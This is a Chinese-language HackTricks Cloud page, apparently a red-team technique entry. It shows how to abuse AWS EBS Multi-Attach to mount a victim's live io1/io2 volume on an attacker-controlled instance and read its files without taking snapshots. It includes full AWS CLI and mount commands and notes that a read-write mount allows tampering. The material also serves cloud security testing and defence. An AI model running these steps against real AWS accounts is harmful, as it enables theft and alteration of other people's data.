AWS - 通过 EBS Multi-Attach 实时数据窃取
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
摘要
滥用 EBS Multi-Attach,通过将相同的卷附加到与攻击者控制的实例处于相同 Availability Zone (AZ) 的实例上,从实时的 io1/io2 数据卷中读取。以只读方式挂载共享卷可以在不创建 snapshots 的情况下立即访问正在使用的文件。
要求
- 目标卷:在与攻击者实例相同 AZ 中创建并启用了
--multi-attach-enabled的 io1 或 io2。 - 权限:对目标卷/实例具有
ec2:AttachVolume、ec2:DescribeVolumes、ec2:DescribeInstances权限。 - 基础设施:支持 Multi-Attach 的基于 Nitro 的实例类型(C5/M5/R5 系列等)。
注意事项
- 使用
-o ro,noload以只读方式挂载以降低损坏风险并避免 journal replays。 - 在 Nitro 实例上,EBS NVMe 设备会暴露稳定的
/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_vol...路径(下面有辅助脚本)。
准备一个 Multi-Attach io2 卷并附加到受害者
示例(在 us-east-1a 创建并附加到受害者):
AZ=us-east-1a
# Create io2 volume with Multi-Attach enabled
VOL_ID=$(aws ec2 create-volume \
--size 10 \
--volume-type io2 \
--iops 1000 \
--availability-zone $AZ \
--multi-attach-enabled \
--tag-specifications 'ResourceType=volume,Tags=[{Key=Name,Value=multi-shared}]' \
--query 'VolumeId' --output text)
# Attach to victim instance
aws ec2 attach-volume --volume-id $VOL_ID --instance-id $VICTIM_INSTANCE --device /dev/sdf
在受害者上,format/mount 新 volume 并写入敏感数据(示例):
VOLNOHYP="vol${VOL_ID#vol-}"
DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}"
sudo mkfs.ext4 -F "$DEV"
sudo mkdir -p /mnt/shared
sudo mount "$DEV" /mnt/shared
echo 'secret-token-ABC123' | sudo tee /mnt/shared/secret.txt
sudo sync
将相同的卷附加到攻击者实例上
aws ec2 attach-volume --volume-id $VOL_ID --instance-id $ATTACKER_INSTANCE --device /dev/sdf
在攻击者上以 read-only 挂载并读取数据
VOLNOHYP="vol${VOL_ID#vol-}"
DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}"
sudo mkdir -p /mnt/steal
sudo mount -o ro,noload "$DEV" /mnt/steal
sudo cat /mnt/steal/secret.txt
预期结果:同一 VOL_ID 显示多个 Attachments(victim and attacker),并且 attacker 可以在不创建任何 snapshot 的情况下读取 victim 写入的文件。
aws ec2 describe-volumes --volume-ids $VOL_ID \
--query 'Volumes[0].Attachments[*].{InstanceId:InstanceId,State:State,Device:Device}'
帮助:通过卷 ID 查找 NVMe 设备路径
在 Nitro 实例上,使用包含卷 ID 的稳定 by-id 路径(在 vol 之后去掉连字符):
影响
- 无需生成快照即可立即读取目标 EBS 卷上的实时数据。
- 如果以读写方式挂载,攻击者可以篡改受害者的文件系统(存在损坏风险)。
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
HackTricks Cloud

